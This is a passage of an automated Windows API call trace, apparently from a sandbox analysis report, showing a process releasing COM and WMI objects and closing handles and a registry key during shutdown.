IUnknown:Release (This=0x1bef4aa0) returned 0x1 [0094.084] IUnknown:Release (This=0x1bf450a0) returned 0x0 [0094.085] IUnknown:Release (This=0x1bf44df0) returned 0x0 [0094.085] IUnknown:Release (This=0x1bef4730) returned 0x0 [0094.085] IUnknown:Release (This=0x1bef43c0) returned 0x0 [0094.085] IUnknown:Release (This=0x1bef4050) returned 0x0 [0094.085] IUnknown:Release (This=0x1bef3ce0) returned 0x0 [0094.085] IUnknown:Release (This=0x1bef3970) returned 0x1 [0094.086] IUnknown:Release (This=0x1bf44b40) returned 0x0 [0094.086] IUnknown:Release (This=0x1bf44890) returned 0x0 [0094.086] IUnknown:Release (This=0x1bef3600) returned 0x0 [0094.086] IUnknown:Release (This=0x1bef3290) returned 0x0 [0094.086] IUnknown:Release (This=0x1c02bd80) returned 0x0 [0094.086] IUnknown:Release (This=0x1c029b20) returned 0x0 [0094.087] IUnknown:Release (This=0x1c0297b0) returned 0x1 [0094.087] IUnknown:Release (This=0x1bf445e0) returned 0x0 [0094.087] IUnknown:Release (This=0x1bf44330) returned 0x0 [0094.087] IUnknown:Release (This=0x1c029440) returned 0x0 [0094.087] IUnknown:Release (This=0x1c0290d0) returned 0x0 [0094.087] IUnknown:Release (This=0x1c028d60) returned 0x0 [0094.088] IUnknown:Release (This=0x1c0289f0) returned 0x0 [0094.088] IUnknown:Release (This=0x1c028680) returned 0x1 [0094.088] IUnknown:Release (This=0x1bf44080) returned 0x0 [0094.088] IUnknown:Release (This=0x1bf43dd0) returned 0x0 [0094.088] IUnknown:Release (This=0x1c02b6a0) returned 0x0 [0094.088] IUnknown:Release (This=0x1c02b330) returned 0x0 [0094.088] IUnknown:Release (This=0x1c02afc0) returned 0x0 [0094.089] IUnknown:Release (This=0x1c02ac50) returned 0x0 [0094.089] IUnknown:Release (This=0x1c02a8e0) returned 0x1 [0094.089] IUnknown:Release (This=0x1bf43b20) returned 0x0 [0094.089] IUnknown:Release (This=0x1bf43870) returned 0x0 [0094.089] IUnknown:Release (This=0x1c028310) returned 0x0 [0094.089] IUnknown:Release (This=0x1c02a570) returned 0x0 [0094.090] IUnknown:Release (This=0x1c02a200) returned 0x0 [0094.090] IUnknown:Release (This=0x1c029e90) returned 0x0 [0094.090] IUnknown:Release (This=0x1c02ba10) returned 0x1 [0094.097] CloseHandle (hObject=0x2c0) returned 1 [0094.097] CloseHandle (hObject=0x258) returned 1 [0094.097] CloseHandle (hObject=0x340) returned 1 [0094.098] CloseHandle (hObject=0x358) returned 1 [0094.098] CloseHandle (hObject=0x328) returned 1 [0094.098] CloseHandle (hObject=0x2a0) returned 1 [0094.099] CloseHandle (hObject=0x350) returned 1 [0094.099] CloseHandle (hObject=0x348) returned 1 [0094.099] CloseHandle (hObject=0x338) returned 1 [0094.100] CloseHandle (hObject=0x24) returned 1 [0094.100] CloseHandle (hObject=0x344) returned 1 [0094.100] CloseHandle (hObject=0x2cc) returned 1 [0094.101] CloseHandle (hObject=0x34c) returned 1 [0094.101] CloseHandle (hObject=0x334) returned 1 [0094.102] CloseHandle (hObject=0x238) returned 1 [0094.102] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0094.102] CloseHandle (hObject=0x364) returned 1 [0094.103] CloseHandle (hObject=0x250) returned 1 [0094.103] CloseHandle (hObject=0x24c) returned 1 [0094.103] CloseHandle (hObject=0x330) returned 1 [0094.103] CloseHandle (hObject=0x32c) returned 1 [0094.104] CloseHandle (hObject=0x25c) returned 1 [0094.104] CloseHandle (hObject=0x368) returned 1 [0094.104] CloseHandle (hObject=0x33c) returned 1 [0094.104] CloseHandle (hObject=0x2c4) returned 1 [0094.105] CloseHandle (hObject=0x2b8) returned 1 [0094.105] CloseHandle (hObject=0x4f4) returned 1 [0094.105] CloseHandle (hObject=0x2bc) returned 1 [0094.109] CoGetContextToken (in: pToken=0x135f080 | out: pToken=0x135f080) returned 0x0 [0094.109] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.109] WbemLocator:IUnknown:Release (This=0x1bea6750) returned 0x1 [0094.109] WbemLocator:IUnknown:Release (This=0x1bea6750) returned 0x0 [0094.123] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.123] IUnknown:Release (This=0x1c02ba10) returned 0x0 [0094.123] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.123] WbemLocator:IUnknown:Release (This=0x1bf62040) returned 0x1 [0094.123] WbemLocator:IUnknown:Release (This=0x1bf62040) returned 0x0 [0094.125] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.125] WbemLocator:IUnknown:Release (This=0x1bece820) returned 0x1 [0094.125] WbemLocator:IUnknown:Release (This=0x1bece820) returned 0x0 [0094.125] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.125] WbemLocator:IUnknown:Release (This=0x1c0016e0) returned 0x1 [0094.125] WbemLocator:IUnknown:Release (This=0x1c0016e0) returned 0x0 [0094.125] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.125] WbemLocator:IUnknown:Release (This=0x1c022a20) returned 0x1 [0094.125] WbemLocator:IUnknown:Release (This=0x1c022a20) returned 0x0 [0094.125] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.125] WbemLocator:IUnknown:Release (This=0x11c8250) returned 0x1 [0094.125] WbemLocator:IUnknown:Release (This=0x11c8250) returned 0x0 [0094.126] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.126] WbemLocator:IUnknown:Release (This=0x11c7440) returned 0x1 [0094.126] WbemLocator:IUnknown:Release (This=0x11c7440) returned 0x0 [0094.127] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.127] WbemLocator:IUnknown:Release (This=0x1c021ba0) returned 0x1 [0094.127] WbemLocator:IUnknown:Release (This=0x1c021ba0) returned 0x0 [0094.127] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.127] WbemLocator:IUnknown:Release (This=0x1bf29e20) returned 0x1 [0094.127] WbemLocator:IUnknown:Release (This=0x1bf29e20) returned 0x0 [0094.128] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.128] WbemLocator:IUnknown:Release (This=0x1bea7f80) returned 0x1 [0094.128] WbemLocator:IUnknown:Release (This=0x1bea7f80) returned 0x0 [0094.128] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.128] IUnknown:Release (This=0x1bef5bd0) returned 0x0 [0094.129] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.129] WbemLocator:IUnknown:Release (This=0x1c0402c0) returned 0x1 [0094.129] WbemLocator:IUnknown:Release (This=0x1c0402c0) returned 0x0 [0094.129] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.129] WbemLocator:IUnknown:Release (This=0x1bfba0d0) returned 0x1 [0094.129] WbemLocator:IUnknown:Release (This=0x1bfba0d0) returned 0x0 [0094.130] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.130] WbemLocator:IUnknown:Release (This=0x1bf002d0) returned 0x1 [0094.130] WbemLocator:IUnknown:Release (This=0x1bf002d0) returned 0x0 [0094.131] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.131] WbemLocator:IUnknown:Release (This=0x1bf77dd0) returned 0x1 [0094.131] WbemLocator:IUnknown:Release (This=0x1bf77dd0) returned 0x0 [0094.131] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.131] IUnknown:Release (This=0x11ed1d0) returned 0x0 [0094.131] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.131] WbemLocator:IUnknown:Release (This=0x1bf01440) returned 0x1 [0094.131] WbemLocator:IUnknown:Release (This=0x1bf01440) returned 0x0 [0094.133] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.133] WbemLocator:IUnknown:Release (This=0x1c03efa0) returned 0x1 [0094.133] WbemLocator:IUnknown:Release (This=0x1c03efa0) returned 0x0 [0094.133] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.133] WbemLocator:IUnknown:Release (This=0x1bed1f10) returned 0x1 [0094.133] WbemLocator:IUnknown:Release (This=0x1bed1f10) returned 0x0 [0094.134] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.134] WbemLocator:IUnknown:Release (This=0x1bf29d90) returned 0x1 [0094.134] WbemLocator:IUnknown:Release (This=0x1bf29d90) returned 0x0 [0094.134] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.135] IUnknown:Release (This=0x1c028680) returned 0x0 [0094.135] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.135] WbemLocator:IUnknown:Release (This=0x1bed3350) returned 0x1 [0094.135] WbemLocator:IUnknown:Release (This=0x1bed3350) returned 0x0 [0094.135] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.135] WbemLocator:IUnknown:Release (This=0x1bece6e0) returned 0x1 [0094.135] WbemLocator:IUnknown:Release (This=0x1bece6e0) returned 0x0 [0094.136] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.136] WbemLocator:IUnknown:Release (This=0x1c03e970) returned 0x1 [0094.136] WbemLocator:IUnknown:Release (This=0x1c03e970) returned 0x0 [0094.136] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.136] IUnknown:Release (This=0x1bef6d00) returned 0x0 [0094.136] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.137] WbemLocator:IUnknown:Release (This=0x1c03eb20) returned 0x1 [0094.137] WbemLocator:IUnknown:Release (This=0x1c03eb20) returned 0x0 [0094.137] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.137] WbemLocator:IUnknown:Release (This=0x1bed1df0) returned 0x1 [0094.137] WbemLocator:IUnknown:Release (This=0x1bed1df0) returned 0x0 [0094.138] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.138] WbemLocator:IUnknown:Release (This=0x1bfbaf70) returned 0x1 [0094.138] WbemLocator:IUnknown:Release (This=0x1bfbaf70) returned 0x0 [0094.139] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.139] WbemLocator:IUnknown:Release (This=0x1c040110) returned 0x1 [0094.139] WbemLocator:IUnknown:Release (This=0x1c040110) returned 0x0 [0094.139] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.139] WbemLocator:IUnknown:Release (This=0x1c054cf0) returned 0x1 [0094.139] WbemLocator:IUnknown:Release (This=0x1c054cf0) returned 0x0 [0094.139] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.139] WbemLocator:IUnknown:Release (This=0x1130af0) returned 0x1 [0094.139] WbemLocator:IUnknown:Release (This=0x1130af0) returned 0x0 [0094.140] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.140] WbemLocator:IUnknown:Release (This=0x1c001ca0) returned 0x1 [0094.140] WbemLocator:IUnknown:Release (This=0x1c001ca0) returned 0x0 [0094.140] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.140] WbemLocator:IUnknown:Release (This=0x1bf01d40) returned 0x1 [0094.140] WbemLocator:IUnknown:Release (This=0x1bf01d40) returned 0x0 [0094.141] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.141] WbemLocator:IUnknown:Release (This=0x1c000a00) returned 0x1 [0094.141] WbemLocator:IUnknown:Release (This=0x1c000a00) returned 0x0 [0094.141] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.141] WbemLocator:IUnknown:Release (This=0x1bea6900) returned 0x1 [0094.141] WbemLocator:IUnknown:Release (This=0x1bea6900) returned 0x0 [0094.141] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.141] WbemLocator:IUnknown:Release (This=0x1c055030) returned 0x1 [0094.142] WbemLocator:IUnknown:Release (This=0x1c055030) returned 0x0 [0094.142] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.142] WbemLocator:IUnknown:Release (This=0x1c03f810) returned 0x1 [0094.142] WbemLocator:IUnknown:Release (This=0x1c03f810) returned 0x0 [0094.142] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.142] IUnknown:Release (This=0x1c0297b0) returned 0x0 [0094.142] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.142] WbemLocator:IUnknown:Release (This=0x1c008d10) returned 0x1 [0094.142] WbemLocator:IUnknown:Release (This=0x1c008d10) returned 0x0 [0094.143] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.143] WbemLocator:IUnknown:Release (This=0x1bef81e0) returned 0x1 [0094.143] WbemLocator:IUnknown:Release (This=0x1bef81e0) returned 0x0 [0094.143] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.143] IUnknown:Release (This=0x11ee300) returned 0x0 [0094.143] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.143] WbemLocator:IUnknown:Release (This=0x1bf54ce0) returned 0x1 [0094.143] WbemLocator:IUnknown:Release (This=0x1bf54ce0) returned 0x0 [0094.144] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.144] WbemLocator:IUnknown:Release (This=0x1bf29760) returned 0x1 [0094.144] WbemLocator:IUnknown:Release (This=0x1bf29760) returned 0x0 [0094.145] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.145] WbemLocator:IUnknown:Release (This=0x1bf11b00) returned 0x1 [0094.145] WbemLocator:IUnknown:Release (This=0x1bf11b00) returned 0x0 [0094.145] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.145] WbemLocator:IUnknown:Release (This=0x1bf53c90) returned 0x1 [0094.145] WbemLocator:IUnknown:Release (This=0x1bf53c90) returned 0x0 [0094.145] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.145] WbemLocator:IUnknown:Release (This=0x1bf76df0) returned 0x1 [0094.145] WbemLocator:IUnknown:Release (This=0x1bf76df0) returned 0x0 [0094.146] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.146] WbemLocator:IUnknown:Release (This=0x1bf11020) returned 0x1 [0094.146] WbemLocator:IUnknown:Release (This=0x1bf11020) returned 0x0 [0094.146] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.146] IUnknown:Release (This=0x11ef430) returned 0x0 [0094.146] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.146] WbemLocator:IUnknown:Release (This=0x1c021620) returned 0x1 [0094.146] WbemLocator:IUnknown:Release (This=0x1c021620) returned 0x0 [0094.146] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.146] WbemLocator:IUnknown:Release (This=0x1bf8b7a0) returned 0x1 [0094.146] WbemLocator:IUnknown:Release (This=0x1bf8b7a0) returned 0x0 [0094.147] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.147] WbemLocator:IUnknown:Release (This=0x1bf62ee0) returned 0x1 [0094.147] WbemLocator:IUnknown:Release (This=0x1bf62ee0) returned 0x0 [0094.147] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.148] WbemLocator:IUnknown:Release (This=0x1bed2b70) returned 0x1 [0094.148] WbemLocator:IUnknown:Release (This=0x1bed2b70) returned 0x0 [0094.148] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.148] WbemLocator:IUnknown:Release (This=0x1c055a70) returned 0x1 [0094.148] WbemLocator:IUnknown:Release (This=0x1c055a70) returned 0x0 [0094.148] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.148] WbemLocator:IUnknown:Release (This=0x11db0a0) returned 0x1 [0094.149] WbemLocator:IUnknown:Release (This=0x11db0a0) returned 0x0 [0094.149] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.149] WbemLocator:IUnknown:Release (This=0x1bed29c0) returned 0x1 [0094.149] WbemLocator:IUnknown:Release (This=0x1bed29c0) returned 0x0 [0094.150] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.150] WbemLocator:IUnknown:Release (This=0x1bf00000) returned 0x1 [0094.150] WbemLocator:IUnknown:Release (This=0x1bf00000) returned 0x0 [0094.150] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.150] WbemLocator:IUnknown:Release (This=0x1bf2a690) returned 0x1 [0094.150] WbemLocator:IUnknown:Release (This=0x1bf2a690) returned 0x0 [0094.151] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.151] IUnknown:Release (This=0x1bef3970) returned 0x0 [0094.151] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.151] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x1 [0094.151] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x0 [0094.151] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.151] IUnknown:Release (This=0x1c02a8e0) returned 0x0 [0094.152] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.152] WbemLocator:IUnknown:Release (This=0x1bf54fb0) returned 0x1 [0094.152] WbemLocator:IUnknown:Release (This=0x1bf54fb0) returned 0x0 [0094.152] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.152] WbemLocator:IUnknown:Release (This=0x1bf00cf0) returned 0x1 [0094.152] WbemLocator:IUnknown:Release (This=0x1bf00cf0) returned 0x0 [0094.153] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.153] WbemLocator:IUnknown:Release (This=0x1c0174e0) returned 0x1 [0094.153] WbemLocator:IUnknown:Release (This=0x1c0174e0) returned 0x0 [0094.153] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.153] WbemLocator:IUnknown:Release (This=0x1bef8a80) returned 0x1 [0094.153] WbemLocator:IUnknown:Release (This=0x1bef8a80) returned 0x0 [0094.153] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.153] WbemLocator:IUnknown:Release (This=0x11c7830) returned 0x1 [0094.153] WbemLocator:IUnknown:Release (This=0x11c7830) returned 0x0 [0094.154] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.154] WbemLocator:IUnknown:Release (This=0x11f7f90) returned 0x1 [0094.154] WbemLocator:IUnknown:Release (This=0x11f7f90) returned 0x0 [0094.154] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.154] WbemLocator:IUnknown:Release (This=0x1bf538a0) returned 0x1 [0094.154] WbemLocator:IUnknown:Release (This=0x1bf538a0) returned 0x0 [0094.155] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.155] WbemLocator:IUnknown:Release (This=0x1bea7e60) returned 0x1 [0094.155] WbemLocator:IUnknown:Release (This=0x1bea7e60) returned 0x0 [0094.155] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.155] WbemLocator:IUnknown:Release (This=0x1c022760) returned 0x1 [0094.155] WbemLocator:IUnknown:Release (This=0x1c022760) returned 0x0 [0094.156] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.156] WbemLocator:IUnknown:Release (This=0x1bf01cb0) returned 0x1 [0094.156] WbemLocator:IUnknown:Release (This=0x1bf01cb0) returned 0x0 [0094.156] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.156] WbemLocator:IUnknown:Release (This=0x11c7e60) returned 0x1 [0094.156] WbemLocator:IUnknown:Release (This=0x11c7e60) returned 0x0 [0094.157] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.157] IUnknown:Release (This=0x11fc720) returned 0x0 [0094.157] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.157] WbemLocator:IUnknown:Release (This=0x1bf53db0) returned 0x1 [0094.157] WbemLocator:IUnknown:Release (This=0x1bf53db0) returned 0x0 [0094.157] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.157] WbemLocator:IUnknown:Release (This=0x1bf77090) returned 0x1 [0094.157] WbemLocator:IUnknown:Release (This=0x1bf77090) returned 0x0 [0094.158] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.158] WbemLocator:IUnknown:Release (This=0x1c018380) returned 0x1 [0094.158] WbemLocator:IUnknown:Release (This=0x1c018380) returned 0x0 [0094.158] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.158] WbemLocator:IUnknown:Release (This=0x1bea7c20) returned 0x1 [0094.158] WbemLocator:IUnknown:Release (This=0x1bea7c20) returned 0x0 [0094.159] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.159] WbemLocator:IUnknown:Release (This=0x1bf8c370) returned 0x1 [0094.159] WbemLocator:IUnknown:Release (This=0x1bf8c370) returned 0x0 [0094.159] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.159] IUnknown:Release (This=0x1bef4aa0) returned 0x0 [0094.159] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.160] WbemLocator:IUnknown:Release (This=0x1c000760) returned 0x1 [0094.160] WbemLocator:IUnknown:Release (This=0x1c000760) returned 0x0 [0094.160] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.160] WbemLocator:IUnknown:Release (This=0x11f77d0) returned 0x1 [0094.160] WbemLocator:IUnknown:Release (This=0x11f77d0) returned 0x0 [0094.160] IUnknown:Release (This=0x111f620) returned 0x0 [0094.160] CoGetContextToken (in: pToken=0x135f080 | out: pToken=0x135f080) returned 0x0 [0094.160] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.160] WbemDefPath:IUnknown:Release (This=0x1c02fab0) returned 0x1 [0094.160] WbemDefPath:IUnknown:Release (This=0x1c02fab0) returned 0x0 [0094.160] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.160] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x1 [0094.160] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x0 [0094.160] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.160] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x1 [0094.160] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x0 [0094.161] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x1 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x0 [0094.161] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x1 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x0 [0094.161] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.161] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x1 [0094.161] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x0 [0094.161] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x1 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x0 [0094.161] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x1 [0094.161] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x0 [0094.161] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.161] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x1 [0094.162] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x0 [0094.162] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.162] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x1 [0094.162] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x0 [0094.162] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.162] WbemDefPath:IUnknown:Release (This=0x1c030530) returned 0x1 [0094.162] WbemDefPath:IUnknown:Release (This=0x1c030530) returned 0x0 [0094.162] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.162] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x1 [0094.162] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x0 [0094.162] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.162] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x1 [0094.162] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x0 [0094.162] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.162] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x1 [0094.162] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x0 [0094.163] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.163] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x1 [0094.163] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x0 [0094.163] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.163] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x1 [0094.163] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x0 [0094.163] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.163] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x1 [0094.163] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x0 [0094.163] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.163] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x1 [0094.163] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x0 [0094.163] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.163] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x1 [0094.163] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x0 [0094.163] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.163] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x1 [0094.163] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x0 [0094.164] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.164] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x1 [0094.164] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x0 [0094.164] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.164] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x1 [0094.164] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x0 [0094.164] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.164] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x1 [0094.164] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x0 [0094.164] CoGetContextToken (in: pToken=0x135ef70 | out: pToken=0x135ef70) returned 0x0 [0094.164] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x1 [0094.164] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x0 [0094.164] 